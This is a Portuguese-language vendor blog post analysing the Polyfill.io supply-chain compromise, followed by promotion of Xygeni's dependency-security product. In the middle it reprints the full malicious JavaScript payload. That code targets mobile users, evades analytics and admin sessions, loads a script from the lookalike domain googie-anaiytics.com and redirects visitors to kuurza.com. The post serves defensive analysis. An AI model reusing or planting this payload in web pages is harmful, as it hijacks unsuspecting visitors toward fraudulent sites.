polyfill-ataque-polyfill-ataque-à-cadeia-de-suprimento-software-ataques-à-cadeia-de-suprimento

Desmascarando o ataque do Polyfill: um mergulho profundo

Em fevereiro 2024, o Ataque à cadeia de suprimentos Polyfill.io—um excelente exemplo de ataques à cadeia de suprimentos de software—comprometeu mais de 100,000 sites globalmente. Este incidente envolveu sequestro de pacotes, onde FUNNULL, uma entidade maliciosa, ganhou o controle do domínio e do repositório GitHub da Polyfill, injetando malware no serviço. O malware tinha como alvo específico usuários móveis, redirecionando-os para sites de apostas fraudulentos ao explorar vulnerabilidades na entrega dinâmica de código da Polyfill com base em cabeçalhos HTTP e agentes de usuário.

Análise técnica: como o ataque Polyfill funcionou

O Polyfill é amplamente adotado para garantir a compatibilidade entre recursos da web modernos e navegadores mais antigos. Os invasores usaram sequestro de pacotes comprando o cdn.polyfill.io domínio e incorporando scripts maliciosos. O que tornou esse ataque tão perigoso foi o comportamento sofisticado do malware:

  • Geração de código dinâmico: O serviço da Polyfill gerou respostas JavaScript personalizadas com base no dispositivo que acessa o site (por exemplo, celular vs. desktop), cabeçalhos HTTP e agentes de usuário. Os invasores exploraram essa natureza dinâmica, injetando payloads maliciosos personalizados para dispositivos específicos — particularmente celulares.
  • Técnicas de Evasão: O malware era inteligente. Ele atrasava a execução quando serviços de análise como o Google Analytics eram detectados, impedindo que suas ações aparecessem nas estatísticas do site. Além disso, ele não era ativado se usuários administradores ou desenvolvedores fossem detectados, evitando ainda mais a detecção precoce durante a depuração ou teste.
  • Redirecionamento Móvel:Uma vez ativado, o malware redirecionava os usuários para sites de jogos de azar fraudulentos, personificando domínios legítimos (por exemplo, googie-anaiytics.com). Os invasores até manipularam janelas de tempo para reduzir a suspeita, executando a carga útil apenas durante determinados horários para pegar usuários móveis desavisados ​​desprevenidos.

Maiores sites atingidos pelo ataque Polyfill

O processo de Ataque à cadeia de suprimentos de Polyfill afetou mais de 100,000 sites, incluindo grandes organizações como:

  • Fórum Econômico Mundial
  • Intuit
  • JSTOR
  • Banco da Irlanda
  • Coldwell Banker
  • Live Nation
  • Brandeis University
  • Empresa de Aeroportos de Dubai
  • Fundo de Defesa Ambiental

Estas vítimas de alto perfil sublinham o alcance global do ataque e a vulnerabilidade da grandes instituições para violações da cadeia de suprimentos

Alertas precoces e resposta

André Betts, o criador original do Polyfill, alertou os desenvolvedores meses antes do ataque para pare de usar o serviço Polyfill depois que ele perdeu o controle do domínio. Seu aviso foi amplamente ignorado até que o ataque de FUNNULL foi lançado. Uma vez detectado, redes de distribuição de conteúdo como Cloudflare e Fastly forneceu alternativas seguras, enquanto Betts reiterou seu conselho aos desenvolvedores para remover completamente as referências do Polyfill.

Exemplo de carga maliciosa do Polyfill

Para ilustrar a sofisticação do ataque à cadeia de suprimentos da Polyfill, sansec forneceu um exemplo detalhado da carga maliciosa usada. Essa carga adaptou-se dinamicamente com base no dispositivo do usuário, disparando redirecionamentos para sites fraudulentos e empregando técnicas para evitar a detecção. Para uma análise mais detalhada da análise técnica dessa carga, você pode verificar Sansec's análise completa e amostra de código malicioso.

function isPc() {
  try {
    var _isWin =
        navigator.platform == "Win32" || navigator.platform == "Windows",
      _isMac =
        navigator.platform == "Mac68K" ||
        navigator.platform == "MacPPC" ||
        navigator.platform == "Macintosh" ||
        navigator.platform == "MacIntel";
    if (_isMac || _isWin) {
      return true;
    } else {
      return false;
    }
  } catch (_0x44e1f6) {
    return false;
  }
}
function vfed_update(_0x5ae1f8) {
  _0x5ae1f8 !== "" &&
    loadJS(
      "https://www.googie-anaiytics.com/html/checkcachehw.js",
      function () {
        if (usercache == true) {
          window.location.href = _0x5ae1f8;
        }
      }
    );
}
function check_tiaozhuan() {
  var _isMobile = navigator.userAgent.match(
    /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
  );
  if (_isMobile) {
    var _curHost = window.location.host,
      _ref = document.referrer,
      _redirectURL = "",
      _kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
      _rnd = Math.floor(Math.random() * 100 + 1),
      _date = new Date(),
      _hours = _date.getHours();
    if (
      _curHost.indexOf("www.dxtv1.com") !== -1 ||
      _curHost.indexOf("www.ys752.com") !== -1
    ) {
      _redirectURL = "https://kuurza.com/redirect?from=bitget";
    } else {
      if (_curHost.indexOf("shuanshu.com.com") !== -1) {
        _redirectURL = "https://kuurza.com/redirect?from=bitget";
      } else {
        if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
          _redirectURL = "https://kuurza.com/redirect?from=bitget";
        } else {
          if (_hours >= 0 && _hours < 2) {
            if (_rnd <= 10) {
              _redirectURL = _kuurzaBitGet;
            }
          } else {
            if (_hours >= 2 && _hours < 4) {
              _rnd <= 15 && (_redirectURL = _kuurzaBitGet);
            } else {
              if (_hours >= 4 && _hours < 7) {
                _rnd <= 20 && (_redirectURL = _kuurzaBitGet);
              } else {
                _hours >= 7 && _hours < 8
                  ? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)
                  : _rnd <= 10 && (_redirectURL = _kuurzaBitGet);
              }
            }
          }
        }
      }
    }
    _redirectURL != "" &&
      !isPc() &&
      document.cookie.indexOf("admin_id") == -1 &&
      document.cookie.indexOf("adminlevels") == -1 &&
      vfed_update(_redirectURL);
  }
}
let _outerPage = document.documentElement.outerHTML,
  bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
  wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
  aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
  aplausix = _outerPage.indexOf(".plausible.io") != -1,
  statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
  ? setTimeout(check_tiaozhuan, 2000)
  : check_tiaozhuan();

Por que ocorreu o ataque à cadeia de suprimentos da Polyfill?

O ataque à cadeia de suprimentos da Polyfill ressalta a importância crítica vulnerabilidades na dependência de terceiros gerenciamento. O ecossistema JavaScript moderno depende muito de bibliotecas de código aberto, e os desenvolvedores geralmente usam ferramentas como npm para integrar essas bibliotecas automaticamente. Sem auditoria rigorosa ou monitoramento contínuo, pacotes comprometidos podem passar despercebidos, como visto com o Polyfill.

Além disso, o ritmo rápido de desenvolvimento e implantação nos ambientes de software atuais frequentemente prioriza a funcionalidade e a velocidade em vez de verificações de segurança completas. Os invasores exploram essa lacuna, mirando bibliotecas populares para maximizar seu impacto. No caso do Polyfill, uma vez que os invasores ganharam o controle do domínio, eles alavancaram o uso generalizado da biblioteca para injetar código malicioso em um vasto número de sites.

Este incidente destaca a importância de implementar medidas de segurança rigorosas, como ferramentas de auditoria de dependência, monitoramento em tempo real e planos robustos de resposta a incidentes, para proteger contra ataques semelhantes à cadeia de suprimentos de software. As organizações devem priorizar a segurança em seus fluxos de trabalho de desenvolvimento para proteger seus ecossistemas digitais de forma eficaz.

Prevenção de ataques futuros: gerenciamento de dependência robusto

Ao gerenciar dependências, Xygeni Open Source Security plataforma emprega múltiplas camadas de proteção, projetadas para detectar, colocar em quarentena e remediar componentes maliciosos em tempo real e evitar ataques à cadeia de suprimentos de software.

Detecção de malware em tempo real: O Xygeni monitora continuamente os registros públicos, escaneando códigos suspeitos antes que eles entrem no ambiente de desenvolvimento. Isso permite o bloqueio proativo de ameaças como o ataque Polyfill, conforme destacado em De Luis Rodriguez série de artigos. 

Alertas automatizados e quarentena: O Xygeni isola automaticamente os pacotes comprometidos e gera alertas, permitindo que as equipes de desenvolvimento ajam rapidamente. Ao integrar com CI/CD pipelines, qualquer ameaça pode ser interrompida antes de chegar à produção. Em casos como o incidente do Polyfill, esse recurso previne impacto generalizado ao interromper o código malicioso antecipadamente.

Priorização dinâmica e SBOM: O Xygeni prioriza dinamicamente as vulnerabilidades com base no contexto, na capacidade de exploração e no impacto comercial. Ao gerar um Lista de materiais de software em tempo real (SBOM), as organizações podem rastrear todos os componentes de terceiros, garantindo transparência completa. Esse monitoramento em tempo real é crucial ao gerenciar dependências de código aberto, permitindo respostas rápidas a incidentes como o sequestro do Polyfill.

Na série de artigos de Luis Rodriguez, o foco em defesa proativa contra pacotes maliciosos de código aberto é discutido em detalhes. A abordagem da Xygeni não cobre apenas a detecção em tempo real, mas também fornece caminhos de correção automatizados, permitindo que as organizações voltem para versões seguras sem interromper a produção

Dê uma olhada em os pacotes maliciosos de código aberto série de artigos aqui para saber mais sobre como a Xygeni gerencia a segurança de código aberto.

Lições do ataque Polyfill

O processo de Ataque à cadeia de suprimentos Polyfill.io ensina lições cruciais sobre os riscos de dependências de terceiros no desenvolvimento web moderno.

  • Vigilância em Dependências de Terceiros: Este é o ponto mais crítico. As organizações devem revisar, verificar e monitorar regularmente todas as bibliotecas de terceiros que eles usam. A dependência excessiva de dependências não verificadas pode expor os sistemas a riscos sérios.
  • Medidas de segurança proativas: Monitoramento contínuo, como com Detecção de ameaças em tempo real da Xygeni, pode detectar vulnerabilidades precocemente.
  • Educação e Formação: Manter todos os membros da equipe atualizados sobre as ameaças mais recentes fortalece a segurança organizacional.

O ataque à cadeia de suprimentos da Polyfill serve como um poderoso lembrete da crescente ameaça representada por ataques à cadeia de suprimentos de software. Esses ataques exploram vulnerabilidades em componentes de terceiros amplamente usados, deixando organizações de todos os tamanhos expostas. Ao adotar medidas de segurança proativas, como monitoramento em tempo real, detecção automatizada de ameaças e gerenciamento de dependência robusto—como as oferecidas pela Xygeni—as empresas podem se proteger de ameaças semelhantes no futuro. Permanecer vigilante e manter uma supervisão abrangente de bibliotecas de terceiros é essencial para evitar comprometimentos em larga escala como o Polyfill.

Proteja suas dependências de código aberto contra ataques à cadeia de suprimentos de software

Não deixe que sua aplicação seja vítima de ataques à cadeia de suprimentos de software como Polyfill. Xygeni's Open Source Security plataforma oferece monitoramento em tempo real, mapeamento avançado de dependências e correção automatizada para proteger seu desenvolvimento pipelines de pacotes comprometidos.

Assuma o controle da sua cadeia de suprimentos de software hoje mesmo. Salvar uma demonstração e veja como o Xygeni pode proteger sua organização de ameaças futuras.

sca-tools-software-composição-análise-ferramentas
Priorize, corrija e proteja seus riscos de software
você recebe uma avaliação gratuita de 7 dias da nossa licença Business Edition e pode aproveitar alguns dos recursos avançados da plataforma SecurityScorecard.
Não é necessário cartão de crédito

Proteja seu desenvolvimento e entrega de software

com o Suíte de Produtos da Xygeni